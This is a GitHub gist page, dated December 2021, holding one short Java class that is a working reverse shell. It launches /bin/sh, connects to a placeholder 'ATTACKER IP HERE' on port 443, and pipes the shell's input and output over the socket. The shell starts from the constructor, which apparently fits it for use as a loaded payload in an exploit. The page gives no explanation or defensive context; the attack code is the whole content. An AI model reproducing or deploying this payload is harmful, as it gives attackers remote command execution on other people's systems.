Skip to content

Instantly share code, notes, and snippets.

@AddaxSoft
Last active December 15, 2021 18:12
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save AddaxSoft/7de2147b6ffe908b4b6b4d00f9913a5b to your computer and use it in GitHub Desktop.
Save AddaxSoft/7de2147b6ffe908b4b6b4d00f9913a5b to your computer and use it in GitHub Desktop.
import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.net.Socket;
public class C {
public C() throws Exception {
String host="ATTACKER IP HERE"; int port=443; String cmd="/bin/sh";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()) {
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){
}
};
p.destroy();
s.close();
}
public static void main(String[] args) {
try {
C x = new C();
} catch(Exception e) {
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment